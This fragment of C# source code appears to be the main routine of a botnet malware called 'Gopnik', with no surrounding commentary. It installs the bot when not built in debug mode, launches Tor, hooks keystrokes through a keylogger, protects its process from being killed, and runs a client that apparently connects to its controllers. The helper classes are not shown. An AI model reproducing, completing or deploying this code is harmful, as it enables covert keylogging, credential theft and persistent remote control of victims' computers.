public static void StartGopnik() { APIEngine = new CDynamicAPI(); #if !DEBUG if (!CMalwareStartup.InstallBot()) { return; } #endif BotConfig = new CConfig(); if (!CUtils.IsSingleInstance(out mInstance)) { return; } #if !DEBUG if (!CTorLoader.StartTor()) { return; } Thread.Sleep(10000); #endif CKeylogger.ApplyHook(); CProcessProtection.ProtectProcess(true); m_GopnikClient = new CGopnikClient(); m_GopnikClient.Start(); Application.Run(); m_GopnikClient.Stop(); }
public void Stop() { if (m_GopnikClient != null) { m_GopnikClient.Stop(); } }